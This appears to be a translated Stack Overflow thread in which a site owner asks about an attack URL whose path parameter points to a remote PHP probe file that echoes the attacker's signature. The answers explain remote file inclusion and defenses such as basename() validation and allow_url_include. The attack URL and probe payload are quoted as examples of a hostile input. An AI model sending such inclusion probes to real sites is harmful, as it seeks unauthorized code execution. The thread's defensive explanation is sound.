这个黑客想要利用什么错误?

时间:2011-04-10 18:00:11

标签: php

一个名叫ShiroHige的家伙正在试图攻击我的网站。

他试图用这个参数打开一个页面:

mysite/dir/nalog.php?path=http://smash2.fileave.com/zfxid1.txt???

如果查看该文本文件,它只是die()

<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>

那么他试图使用什么漏洞(WordPress?)?

编辑1:

我知道他正在尝试使用RFI

是否有一些可利用的流行脚本(Drupal,phpBB等)?

7 个答案:

答案 0 :(得分:11)

一个显而易见的问题,只是未经证实的包括 他正在检查代码是否被执行 如果他在回复中找到了他的签名,他就会知道你的网站已准备好运行他发送的任何代码。

为防止此类攻击,必须严格清理文件名,如果它们恰好是通过HTTP请求发送的。

使用basename()函数可以快速而便宜地进行验证:

if (empty($_GET['page'])) 
    $_GET['page']="index.php";
$page = $modules_dir.basename($_GET['page']).".php";
if (!is_readable($page)) {
    header("HTTP/1.0 404 Not Found");
    $page="404.html";
}
include $page;

或使用一些正则表达式。

还有一个非常有用的PHP配置指令,名为

allow_url_include

在现代PHP版本中默认设置为off。因此它可以自动保护您免受此类攻击。

答案 1 :(得分:4)

攻击者瞄准的漏洞可能是利用PHP include和类似函数/构造的某种远程文件包含,允许加载(remote) file并执行其内容:

  

安全警告

     

可以在远程服务器上处理远程文件(取决于文件扩展名和远程服务器是否运行PHP的事实),但它仍然必须生成有效的PHP脚本,因为它将在本地服务器上处理。如果应该在那里处理来自远程服务器的文件并仅输出,readfile()是更好的功能。否则,应特别注意保护远程脚本以生成有效和所需的代码。

请注意,使用readfile只会避免执行加载的文件。但是仍然可以利用它来加载其他内容然后直接打印给用户。这可以用于打印本地文件系统中任何类型的文件的普通内容(即Path Traversal)或将代码注入页面(即Code Injection)。所以唯一的保护是在使用它之前验证参数值。

有关详细信息,另请参阅OWASP’s Development Guide on “File System – Includes and Remote files”

答案 2 :(得分:1)

他正试图让你的网站运行他的文件。这可能是XSS攻击?不太熟悉这些术语(编辑:RFI - Remote file inclusion)。

他很不知道自己在做什么。如果有办法进入WordPress,那么现在它将非常公开。

答案 3 :(得分:1)

看起来攻击的目的是在易受攻击的网站上打印出“ShiroHige”。

这个想法是,你使用include,但是不要清理你的输入,然后执行这个文本文件中的php。如果这样做,那么他可以将任何PHP代码发送到您的网站并执行它。

可以在此处找到类似文件的列表。 http://tools.sucuri.net/?page=tools&title=blacklist&detail=072904895d17e2c6c55c4783df7cb4db

答案 4 :(得分:0)

如果您的网站容易受到外部包含的影响,我认为这只是第一次测试。如果打印出回声,他知道可以注入代码。

答案 5 :(得分:0)

你没有详细说明情况,也没有留下很多想象力。

我的猜测是他正试图利用allow_url_fopen。而现在他只是测试代码,看看他能做些什么。这是第一波!

答案 6 :(得分:-2)

我认为这只是一个恶意网址。一旦我将其输入浏览器,Avast防病毒软件就声称它是一个恶意网址。因此,php代码可能是欺骗性的,或者他可能只是在测试。其他可能性是黑客没有恶意,只是想表明他可以克服你的安全。